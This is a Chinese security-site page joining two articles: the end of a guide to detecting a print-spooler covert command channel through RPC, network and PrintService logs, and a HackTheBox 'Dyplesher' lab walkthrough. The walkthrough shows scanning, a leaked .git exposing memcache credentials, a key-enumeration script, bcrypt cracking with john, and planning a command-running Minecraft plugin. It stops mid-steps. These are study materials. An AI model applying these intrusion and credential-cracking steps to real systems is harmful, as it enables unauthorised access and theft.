根据Microsoft的规范文档，“打印系统远程协议依赖于RPC协议。打印系统远程协议并没有指定客户端和服务器之间文件传输的方法；因此，服务器消息块(SMB)2.0版协议（Server
Message Block (SMB) Version 2.0 Protocol）是所有文件传输操作的首选协议”。
因此，我们需要做的第一件事是捕获RPC日志，为此，我们可以借助于“Microsoft-Windows-RPC”ETW来完成这一任务。就这里来说，我们可以使用内置的logman实用程序。我们可以使用以下命令将RPC日志保存到名为“print-job-rpc”的文件中：
logman start Print-Job-RPC -p Microsoft-Windows-RPC 0xffffffffffffffff win:Informational -ets
执行RPC捕获操作后，我们就可以执行C3打印通道的中继操作了。建立连接后，我们可以使用以下命令停止捕获操作了：
logman stop Print-Job-RPC -ets
此外，我们还可以使用以下命令将这个ETL文件转换为与事件查看器兼容的EVTX文件：
tracerpt Print-Job-RPC.etl -o Print-Job-RPC.evtx -of EVTX
即使收集的时间很短，我们也可以立即看到正在捕获的数据量（就这里来说，20秒内大约发生了约80,000个事件！）。就本例来说，我们可以专注于EID
5，这些是RPC客户端调用。
然后，我们可以搜索与操作系统的打印服务有关的事件。根据该规范，我们可以看到打印系统远程协议（又名为MS-RPRN）的接口UUID为{12345678-1234-ABCD-EF00-0123456789AB}。在下面，展示的是Relay进程和本地打印服务之间的通信数据：
查看上面的条目，我们可以看到一些关键信息：
1. 进行RPC调用的进程的ID。
2. 接口UUID（可用于确定我们正在与打印服务通信）。
3. OpNum可以确认针对接口调用的函数（即创建和删除打印作业）。
对于C3通道来说，还有一些值得注意的RPC函数，其中包括：
如您所见，上面的OpNum为4，表明Relay进程正在请求打印队列中当前作业的详细信息。我们还可以看到下面OpNum为24的RPC调用，表明我们的Relay正在向打印队列中添加作业。
在不深入研究打印服务系统的内部系统架构的情况下，从高层次来看，我们的“客户端应用程序（client application，即Relay）”与本地print
spooler服务进行了通信，这就是我们在上面看到的——请注意这里用于本地进程之间通信的轻量级RPC（Lightweight RPC，LRPC）。
从这里开始，我们的本地spooler服务将使用RPC（通过SMB，正如我们在规范中看到的）与打印服务器的远程spooler服务进行通信。打印系统异步远程（MS-PAR）协议服务器接口由UUID
{76F03F96-CDFD-44FC-A22C-64950A001209}进行标识的。在下面，我们可以看到对打印服务器的RPC调用。
注意，这里我们可以看到“DC2”，也就是我们实验室环境的打印服务器的网络地址。同时，我们还可以看到MS-PAR接口的UUID，以及OpNum为0，即
“RpcAsyncOpenPrinter”函数，它可以检索到指定打印机的句柄。正如我们所期望的那样，由于打印机系统架构的缘故，Relay的发起PID已经消失了，我们现在看到的是本地主机的print
spooler服务的进程ID。
虽然我们不会进一步深入探讨这种检测方法，但我们可以在这里看到可用的原始遥测数据（尽管数量很大），使我们能够确定哪些进程正在启动打印作业。
对于希望进一步了解RPC遥测技术的读者，请参阅Jonathan Johnson、Jared Atkinson和Luke Paine的相关文章。
## 在网络上进行检测
如上文MS-RPRN规范中所述，我们对远程服务器的RPC调用是通过SMB进行的。从捕获的通信数据包中，我们可以看到与打印服务器的连接，特别是OpenPrinterEx
请求。
显然，离开端点后，我们就无法看到进程级别的数据，但我们仍然可以看到端点执行的打印活动。这可用于识别beaconing行为或来自一台或多台主机的大量打印流量，这表明打印机在执行跳板攻击。
## 在打印服务器上进行检测
最后，在打印服务器本身上面，我们可以使用“Microsoft-Windows-PrintService/Operational”日志来跟踪打印作业。为此，我们可以通过组策略以及以下命令来启用该日志：
wevutil.exe sl 'Microsoft-Windows-PrintService/Operational' /enabled:true
Microsoft-Windows-PrintService/Operational日志能够为我们提供以下重要事件ID：
1. EID 308：打印文档
2. EID 310：删除文档
在默认情况下，我们是看不到作业名称的长度的，而与打印有关的异常活动常常就反映在这上面。
要记录作业名称，我们需要修改组策略来启用以下选项：
Computer Configuration > Policies > Administrative Templates > Printers >
Allow job name in event logs
当然，这种日志的精确度可能存在隐私问题，但我们可以在实验室环境中安全地启用它，具体如下图所示：
现在，我们可以看看生成的事件日志了：
##
正如我们在上面看到的，这里的EID
310（删除文档）事件为我们提供了添加到打印队列中的作业的名称。考虑到这些文件名做多可容纳1MB字节，因此，C3可以通过它来发送Base32编码的消息内容、Cobalt
Strike beacon（200kb左右）或需要外泄的数据。
此外，观察上面的屏幕截图中的日志模式，我们可以看到EID
800（假脱机）、308（打印）和310（作业删除）的组合。这里至关重要的是，通过下面的截图我们可以看到EID
308事件，这表明我们的每一个作业都被设置为暂停状态。因此，两个relay之间的连续通信会产生大量的暂停打印作业和删除作业。
## 小结
正如我们所观察到的，检测打印机跳板攻击时，有许多方法可用。不过，最有效的线索是添加到打印队列中的文档名称的Base32编码内容，可以通过“Microsoft-Windows-PrintService/Operations”日志进行查看。然而，通过适当的遥测技术，我们也可以在端点和网络日志中搜索可疑的跳板攻击活动。 | 社区文章 |
# HackTheBox-Dyplesher靶机渗透笔记
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本文主要是记录下对HackTheBox靶机Dyplesher的渗透过程，该靶机的难度评级为Insane，从这个靶机可以学习到memcache、MineCraft
Maven插件制作以及AMQP协议相关的知识。
## 信息收集
# Nmap 7.91 scan initiated Sat Oct 31 09:52:23 2020 as: nmap -sSVC -pn -oA nmap_full -v 10.10.10.190
Nmap scan report for 10.10.10.190
Host is up (0.0020s latency).
Not shown: 65525 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 9f:b2:4c:5c:de:44:09:14:ce:4f:57:62:0b:f9:71:81 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gogs=cab4d447d0b05838; Path=/; HttpOnly
| Set-Cookie: _csrf=AWdLS2HY7sj9MGl_uzy9BIdiyCU6MTYwNDEzODA2Nzk5MDYzMzkwMA%3D%3D; Path=/; Expires=Sun, 01 Nov 2020 09:54:27 GMT; HttpOnly
| Date: Sat, 31 Oct 2020 09:54:27 GMT
| <!DOCTYPE html>
| <html>
| <head data-suburl="">
| <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge"/>
| <meta name="author" content="Gogs" />
| <meta name="description" content="Gogs is a painless self-hosted Git service" />
| <meta name="keywords" content="go, git, self-hosted, gogs">
| <meta name="referrer" content="no-referrer" />
| <meta name="_csrf" content="AWdLS2HY7sj9MGl_uzy9BIdiyCU6MTYwNDEzODA2Nzk5MDYzMzkwMA==" />
| <meta name="_suburl" content="" />
| <meta proper
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gogs=cb192a56afa1412c; Path=/; HttpOnly
| Set-Cookie: _csrf=WNCCxXx-RAstuqnsdyse0s19mWI6MTYwNDEzODA3MzA3NjcyNTg4Nw%3D%3D; Path=/; Expires=Sun, 01 Nov 2020 09:54:33 GMT; HttpOnly
| Date: Sat, 31 Oct 2020 09:54:33 GMT
| <!DOCTYPE html>
| <html>
| <head data-suburl="">
| <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge"/>
| <meta name="author" content="Gogs" />
| <meta name="description" content="Gogs is a painless self-hosted Git service" />
| <meta name="keywords" content="go, git, self-hosted, gogs">
| <meta name="referrer" content="no-referrer" />
| <meta name="_csrf" content="WNCCxXx-RAstuqnsdyse0s19mWI6MTYwNDEzODA3MzA3NjcyNTg4Nw==" />
| <meta name="_suburl" content="" />
|_ <meta
4369/tcp open epmd Erlang Port Mapper Daemon
|_epmd-info: ERROR: Script execution failed (use -d to debug)
5672/tcp open amqp Advanced Message Queue Protocol
|_amqp-info: Unable to open connection: TIMEOUT
11211/tcp open memcache?
25562/tcp open unknown
25565/tcp open minecraft?
25572/tcp closed unknown
25672/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.91%I=7%D=10/31%Time=5F9D3452%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,2063,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:
SF:\x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/
SF:;\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gogs=cab4d447d0b05838;
SF:\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=AWdLS2HY7sj9MGl_uzy9BId
SF:iyCU6MTYwNDEzODA2Nzk5MDYzMzkwMA%3D%3D;\x20Path=/;\x20Expires=Sun,\x2001
SF:\x20Nov\x202020\x2009:54:27\x20GMT;\x20HttpOnly\r\nDate:\x20Sat,\x2031\
SF:x20Oct\x202020\x2009:54:27\x20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html>\n<h
SF:ead\x20data-suburl=\"\">\n\t<meta\x20http-equiv=\"Content-Type\"\x20con
SF:tent=\"text/html;\x20charset=UTF-8\"\x20/>\n\t<meta\x20http-equiv=\"X-U
SF:A-Compatible\"\x20content=\"IE=edge\"/>\n\t\n\t\t<meta\x20name=\"author
SF:\"\x20content=\"Gogs\"\x20/>\n\t\t<meta\x20name=\"description\"\x20cont
SF:ent=\"Gogs\x20is\x20a\x20painless\x20self-hosted\x20Git\x20service\"\x2
SF:0/>\n\t\t<meta\x20name=\"keywords\"\x20content=\"go,\x20git,\x20self-ho
SF:sted,\x20gogs\">\n\t\n\t<meta\x20name=\"referrer\"\x20content=\"no-refe
SF:rrer\"\x20/>\n\t<meta\x20name=\"_csrf\"\x20content=\"AWdLS2HY7sj9MGl_uz
SF:y9BIdiyCU6MTYwNDEzODA2Nzk5MDYzMzkwMA==\"\x20/>\n\t<meta\x20name=\"_subu
SF:rl\"\x20content=\"\"\x20/>\n\t\n\t\n\t\n\t\t<meta\x20proper")%r(Help,67
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x2
SF:0charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r
SF:(HTTPOptions,189F,"HTTP/1\.0\x20404\x20Not\x20Found\r\nContent-Type:\x2
SF:0text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/;\x
SF:20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gogs=cb192a56afa1412c;\x2
SF:0Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=WNCCxXx-RAstuqnsdyse0s19mW
SF:I6MTYwNDEzODA3MzA3NjcyNTg4Nw%3D%3D;\x20Path=/;\x20Expires=Sun,\x2001\x2
SF:0Nov\x202020\x2009:54:33\x20GMT;\x20HttpOnly\r\nDate:\x20Sat,\x2031\x20
SF:Oct\x202020\x2009:54:33\x20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html>\n<head
SF:\x20data-suburl=\"\">\n\t<meta\x20http-equiv=\"Content-Type\"\x20conten
SF:t=\"text/html;\x20charset=UTF-8\"\x20/>\n\t<meta\x20http-equiv=\"X-UA-C
SF:ompatible\"\x20content=\"IE=edge\"/>\n\t\n\t\t<meta\x20name=\"author\"\
SF:x20content=\"Gogs\"\x20/>\n\t\t<meta\x20name=\"description\"\x20content
SF:=\"Gogs\x20is\x20a\x20painless\x20self-hosted\x20Git\x20service\"\x20/>
SF:\n\t\t<meta\x20name=\"keywords\"\x20content=\"go,\x20git,\x20self-hoste
SF:d,\x20gogs\">\n\t\n\t<meta\x20name=\"referrer\"\x20content=\"no-referre
SF:r\"\x20/>\n\t<meta\x20name=\"_csrf\"\x20content=\"WNCCxXx-RAstuqnsdyse0
SF:s19mWI6MTYwNDEzODA3MzA3NjcyNTg4Nw==\"\x20/>\n\t<meta\x20name=\"_suburl\
SF:"\x20content=\"\"\x20/>\n\t\n\t\n\t\n\t\t<meta");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct 31 09:57:04 2020 -- 1 IP address (1 host up) scanned in 281.27 seconds
由nmap扫描可知，目前开放的端口为：
22/tcp open ssh
80/tcp open http
3000/tcp open ppp?
4369/tcp open epmd
5672/tcp open amqp
11211/tcp open memcache?
25562/tcp open unknown
25565/tcp open minecraft?
25572/tcp closed unknown
25672/tcp open unknown
首先访问目标主机的web服务页面 <http://10.10.10.190> ，在Apache上托管着Minecraft
Server，并且提示对应的域名是`test.dyplesher.htb`:
将hostname添加到`/etc/hosts`文件中：
10.10.10.190 dyplesher.htb test.dyplesher.htb
访问<http://test.dyplesher.htb> ：
是一个memcache相关的界面，看来网站使用了memcache进行优化。
回到 <http://dyplesher.htb> ，点击上面的链接，发现只有3个活链接：
https://twitter.com/_felamos
https://www.youtube.com/watch?v=hCKmBmJdpho
http://10.10.10.190/staff
访问staff页面，有三个用户：
MinatoTW, owner
felamos, dev
yuntao, admin
这三个用户的头像下都有一个齿轮icon，对应三个链接：
http://dyplesher.htb:8080/arrexel
http://dyplesher.htb:8080/felamos
http://dyplesher.htb:8080/yuntao
这个齿轮，如果我们利用图片搜索去查询的话，会发现这是名为gogs的git服务：
与gogs相关的信息在nmap的扫描结果中也有出现过，对应的端口是3000：
所以上面的3个真实链接应该是：
http://dyplesher.htb:3000/arrexel
http://dyplesher.htb:3000/felamos
http://dyplesher.htb:3000/yuntao
访问之后并没有什么公开的信息：
gogs上既然提供了注册登录功能，所以注册一个账号test然后登录，在`Explore ->
Users`这里也看到了3个用户以及他们的注册邮箱，除此之外也没有什么新发现：
### MemCache服务
再看<http://test.dyplesher.htb>
页面，也就是前面发现的memcache服务，什么是memcache呢？MemCache是一个高性能、分布式的内存对象缓存系统，它通过在内存中缓存数据和对象来减少读取数据库的次数，从而提高网站的访问速度。
这个页面接收两个参数，如果值相等，返回200 response：
如果不同，则返回500：
利用memcache工具，我们可以枚举存储在memcache数据库中的键值对：
apt-get install libmemcached-tools
然后尝试用`memccat`去访问key `aaa`的值：
╭─kali@kali ~
╰─$ memccat --server=10.10.10.190 aaa
error on aaa(NOT FOUND)
这种方式行不通，有可能是因为memcache开启了某种验证机制，比如`Simple Authentication and Security Layer
(SASL)`。
╭─kali@kali /usr/share/dirb/wordlists
╰─$ ffuf -u http://dyplesher.htb/FUZZ -w /usr/share/dirb/wordlists/common.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.0.2
________________________________________________
:: Method : GET
:: URL : http://dyplesher.htb/FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
[Status: 200, Size: 4242, Words: 1281, Lines: 124]
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10]
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10]
.hta [Status: 403, Size: 278, Words: 20, Lines: 10]
cgi-bin/ [Status: 301, Size: 315, Words: 20, Lines: 10]
css [Status: 301, Size: 312, Words: 20, Lines: 10]
favicon.ico [Status: 200, Size: 0, Words: 1, Lines: 1]
fonts [Status: 301, Size: 314, Words: 20, Lines: 10]
home [Status: 302, Size: 350, Words: 60, Lines: 12]
img [Status: 301, Size: 312, Words: 20, Lines: 10]
index.php [Status: 200, Size: 4252, Words: 1281, Lines: 124]
js [Status: 301, Size: 311, Words: 20, Lines: 10]
login [Status: 200, Size: 4188, Words: 1222, Lines: 84]
register [Status: 302, Size: 350, Words: 60, Lines: 12]
robots.txt [Status: 200, Size: 24, Words: 2, Lines: 3]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
staff [Status: 200, Size: 4389, Words: 1534, Lines: 103]
:: Progress: [4614/4614] :: Job [1/1] :: 135 req/sec :: Duration: [0:00:34] :: Errors: 0 ::
除了`/staff`之外，发现了其他隐藏的链接`/home`、`login`和`/register`，访问这些页面最后都会重定向到`/login`页面：
用密码字典和sqlmap进行爆破失败后，接着用`ffuf`扫描`test.dyplesher.htb`站点：
╭─kali@kali /usr/share/dirb/wordlists
╰─$ ffuf -u http://test.dyplesher.htb/FUZZ -w /usr/share/dirb/wordlists/common.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.0.2
________________________________________________
:: Method : GET
:: URL : http://test.dyplesher.htb/FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
[Status: 200, Size: 239, Words: 16, Lines: 15]
.git/HEAD [Status: 200, Size: 23, Words: 2, Lines: 2]
index.php [Status: 200, Size: 239, Words: 16, Lines: 15]
.htaccess [Status: 403, Size: 283, Words: 20, Lines: 10]
.htpasswd [Status: 403, Size: 283, Words: 20, Lines: 10]
.hta [Status: 403, Size: 283, Words: 20, Lines: 10]
server-status [Status: 403, Size: 283, Words: 20, Lines: 10]
:: Progress: [4614/4614] :: Job [1/1] :: 1153 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
发现`.git`泄露，利用[GitHack](https://github.com/lijiejie/GitHack)下载泄露的源码，只有一个index.php文件：
╭─kali@kali ~/htb-tools/GitHack ‹master*›
╰─$ python GitHack.py http://test.dyplesher.htb/.git/
[+] Download and parse index file ...
README.md
index.php
[OK] index.php
[OK] README.md
这个页面就是 <http://test.dyplesher.htb> 页面的源码，会将`<key,
value>`以键值对的方式添加到MemCache数据库中：
<HTML>
<BODY>
<h1>Add key and value to memcache<h1>
<FORM METHOD="GET" NAME="test" ACTION="">
<INPUT TYPE="text" NAME="add">
<INPUT TYPE="text" NAME="val">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<?php
if($_GET['add'] != $_GET['val']){
$m = new Memcached();
$m->setOption(Memcached::OPT_BINARY_PROTOCOL, true);
$m->setSaslAuthData("felamos", "zxcvbnm");
$m->addServer('127.0.0.1', 11211);
$m->add($_GET['add'], $_GET['val']);
echo "Done!";
}
else {
echo "its equal";
}
?>
</pre>
</BODY>
</HTML>
`Memcached::setSaslAuthData()`函数的作用是设置应用于与memcache服务器进行SASL身份验证的用户名和密码，从源码可知用户名是`felamos`，密码是`zxcvbnm`。
### 枚举Memcache键值对
python3 安装[python-binary-memcached](https://pypi.org/project/python-binary-memcached/)模块：
pip install python-binary-memcached
写了一个简单的脚本：
import bmemcached
client = bmemcached.Client(('10.10.10.190:11211', ), 'felamos', 'zxcvbnm')
fp = open('/usr/share/wordlists/rockyou.txt','r')
line = fp.readline().strip()
while line:
response = client.get(line)
if response:
print(line + ": " + response)
break
line = fp.readline().strip()
fp.close()
得到3个加密后的密码：
minato:$2a$10$5SAkMNF9fPNamlpWr.ikte0rHInGcU54tvazErpuwGPFePuI1DCJa
felamos:$2y$12$c3SrJLybUEOYmpu1RVrJZuPyzE5sxGeM0ZChDhl8MlczVrxiA3pQK
yuntao:$2a$10$zXNCus.UXtiuJE5e6lsQGefnAH3zipl.FRNySz5C4RjitiwUoalS
另一种更方便的方式是使用`memcached-cli`：
apt install npm
npm install -g memcached-cli
╭─kali@kali ~
╰─$ memcached-cli felamos:[email protected]:11211
dyplesher.htb:11211> get username
MinatoTW
felamos
yuntao
dyplesher.htb:11211> get password
$2a$10$5SAkMNF9fPNamlpWr.ikte0rHInGcU54tvazErpuwGPFePuI1DCJa
$2y$12$c3SrJLybUEOYmpu1RVrJZuPyzE5sxGeM0ZChDhl8MlczVrxiA3pQK
$2a$10$zXNCus.UXtiuJE5e6lsQGefnAH3zipl.FRNySz5C4RjitiwUoalS
丢到john里解密，得到用户felamos的密码：
╭─kali@kali ~
╰─$ john hashes --wordlist=/root/htb-tools/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Loaded hashes with cost 1 (iteration count) varying from 1024 to 4096
Press 'q' or Ctrl-C to abort, almost any other key for status
mommy1 (felamos)
用密码`[[email protected]](mailto:[email protected]) : mommy1`尝试登录
<http://dyplesher.htb/login> ，登录失败，再尝试登录gogs服务
<http://dyplesher.htb:3000/user/login?redirect_to=>
登录成功。登录之后看到felamos用户是拥有两个Repositories，然后还提交了commit：
在名为gitlab的仓库里发现了felamos发布的一个releases：
### Git Bundle
下载解压后是一个`repositories`文件夹，文件夹下有一些bundle文件：
╭─kali@kali ~/repositories
╰─$ tree
.
`-- @hashed
|-- 4b
| `-- 22
| `-- 4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a.bundle
|-- 4e
| `-- 07
| |-- 4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce
| `-- 4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce.bundle
|-- 6b
| `-- 86
| `-- 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b.bundle
`-- d4
`-- 73
`-- d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35.bundle
10 directories, 4 files
file命令查看这些bundle文件信息，这些bundle是git bundle：
╭─kali@kali ~/repositories
╰─$ file @hashed/4b/22/4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a.bundle
@hashed/4b/22/4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a.bundle: Git bundle
git bundle是有用的线下仓库传输工具，在一些情况下，一个人很难直接git clone仓库（git
clone很慢或是仓库过大），这个时候就可以通过bundle命令将git仓库打包，然后通过U盘或是其他方式进行传输。使用git
clone来进行unbundle操作：
git clone @hashed/4b/22/4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a.bundle
git clone @hashed/4e/07/4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce.bundle
git clone @hashed/6b/86/6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b.bundle
git clone @hashed/d4/73/d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35.bundle
查看有哪些文件：
kali@kali:~/repositories# tree
.
|-- 4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a
| |-- LICENSE
| |-- README.md
| `-- src
| `-- VoteListener.py
|-- 4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce
| |-- README.md
| |-- banned-ips.json
| |-- banned-players.json
| |-- bukkit.yml
| |-- commands.yml
| |-- craftbukkit-1.8.jar
| |-- eula.txt
| |-- help.yml
| |-- ops.json
| |-- permissions.yml
| |-- plugins
| | |-- LoginSecurity
| | | |-- authList
| | | |-- config.yml
| | | `-- users.db
| | |-- LoginSecurity.jar
| | `-- PluginMetrics
| | `-- config.yml
| |-- python
| | `-- pythonMqtt.py
| |-- sc-mqtt.jar
| |-- server.properties
| |-- spigot-1.8.jar
| |-- start.command
| |-- usercache.json
| |-- whitelist.json
| |-- world
| | |-- data
| | | |-- villages.dat
| | | `-- villages_end.dat
| | |-- level.dat
| | |-- level.dat_mcr
| | |-- level.dat_old
| | |-- playerdata
| | | `-- 18fb40a5-c8d3-4f24-9bb8-a689914fcac3.dat
| | |-- region
| | | |-- r.-1.0.mca
| | | `-- r.0.0.mca
| | |-- session.lock
| | `-- uid.dat
| `-- world_the_end
| |-- DIM1
| | `-- region
| | |-- r.-1.-1.mca
| | |-- r.-1.0.mca
| | |-- r.0.-1.mca
| | `-- r.0.0.mca
| |-- level.dat
| |-- level.dat_old
| |-- session.lock
| `-- uid.dat
|-- 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
| |-- LICENSE
| |-- README.md
| |-- phpbash.min.php
| `-- phpbash.php
|-- @hashed
| |-- 4b
| | `-- 22
| | `-- 4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a.bundle
| |-- 4e
| | `-- 07
| | |-- 4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce
| | `-- 4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce.bundle
| |-- 6b
| | `-- 86
| | `-- 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b.bundle
| `-- d4
| `-- 73
| `-- d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35.bundle
`-- d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35
|-- LICENSE.txt
|-- README.md
`-- nightminer.py
26 directories, 54 files
可以看到在`4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/plugins/LoginSecurity`下有一个名为`users.db`的数据库文件。
用file命令查看发现是sqlite数据库文件：
╭─kali@kali ~/repositories/4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/plugins/LoginSecurity ‹master›
╰─$ file users.db
users.db: SQLite 3.x database, last written using SQLite version 3027002
`.tables`命令查看数据表信息：
╭─kali@kali ~/repositories/4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/plugins/LoginSecurity ‹master›
╰─$ sqlite3 users.db
SQLite version 3.33.0 2020-08-14 13:23:32
Enter ".help" for usage hints.
sqlite> .tables
users
设置`.header on`显示表头，不然会看得比较懵：
sqlite> .header on
sqlite> select * from users;
unique_user_id|password|encryption|ip
18fb40a5c8d34f249bb8a689914fcac3|$2a$10$IRgHi7pBhb9K0QBQBOzOju0PyOZhBnK4yaWjeZYdeP6oyDvCo9vc6|7|/192.168.43.81
有一串加密密码，利用john the ripper解密，得到`alexis1`：
╭─kali@kali ~
╰─$ cat hash
$2a$10$IRgHi7pBhb9K0QBQBOzOju0PyOZhBnK4yaWjeZYdeP6oyDvCo9vc6
╭─kali@kali ~
╰─$ john hash --wordlist=/root/htb-tools/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
alexis1 (?)
1g 0:00:00:56 DONE (2020-11-05 08:08) 0.01768g/s 28.06p/s 28.06c/s 28.06C/s alexis1..cameron1
Use the "--show" option to display all of the cracked passwords reliably
Session completed
利用这个密码`[[email protected]](mailto:[email protected]) : alexis1`登录
<http://dyplesher.htb/login> :
左边的toolbar上有一些链接。
Console – `/home/console`：
console界面上提示， **Running Paper MC** ，Paper MC
fork自Spigot，主要是修复Spigot的一些不足之处，Spigot是运行MineCraft服务器的一个软件，他跟官方出的服务器软件不一样的地方在于它可以为服务器装上一些插件，而且稳定性和负载性也比较好，同时也支持多服务器串联，现在的百人服务器也基本都是使用它来架设的。
Reload Plugin – `/home/reload` ：
加载/卸载用户自定义的插件。
Add Plugin – `/home/add`：
上传用户插件，上传的用户需要通过reload来激活。
Delete Plugin – `/home/delete`：
删除插件，但其实删不掉，不过我们可以查看当前正在运行的插件情况。
### 制作MineCraft插件
先简要介绍下这个插件框架啥的。
既然felamos拥有上传插件和加载插件的权限，所以我们可以自己制作一些插件来运行系统命令，插件制作教程可以参考这篇文章[Creating a plugin
with Maven using IntelliJ IDEA](https://www.spigotmc.org/wiki/creating-a-plugin-with-maven-using-intellij-idea/)。
制作插件需要：
* Intellij IDEA
* JDK，在之前的/root/repositories/4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce目录下，有个craftbukkit-1.8.jar，查看MANIFEST.MF文件就知道当前的jdk版本是1.8。
╭─root@vultr ~/repositories/4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce ‹master*›
╰─$ ls
README.md bukkit.yml eula.txt permissions.yml sc-mqtt.jar start.command world
banned-ips.json commands.yml help.yml plugins server.properties usercache.json world_the_end
banned-players.json craftbukkit-1.8.jar ops.json python spigot-1.8.jar whitelist.json
#### Step 1
`File -> New -> Project`，新建项目，选择`Maven`，jdk版本选择1.8：
然后填写GroupId和ArtifactId，也就是项目名：
#### Step 2
新建好项目后，首先修改pom.xml文件来添加一些必要的依赖组件。因为要制作一个Spigot插件并且使用相关的API，通过修改pom.xml来引入这些包：
<repositories>
<repository>
<id>spigot-repo</id>
<url>https://hub.spigotmc.org/nexus/content/repositories/snapshots/</url>
</repository>
</repositories>
<dependencies>
<dependency>
<groupId>org.spigotmc</groupId>
<artifactId>spigot-api</artifactId>
<version>1.16.2-R0.1-SNAPSHOT</version>
<scope>provided</scope>
</dependency>
</dependencies>
右下角弹出提示需要导入这些依赖包，点击`Import Changes`，IDEA会开始进行下载：
#### Step 3
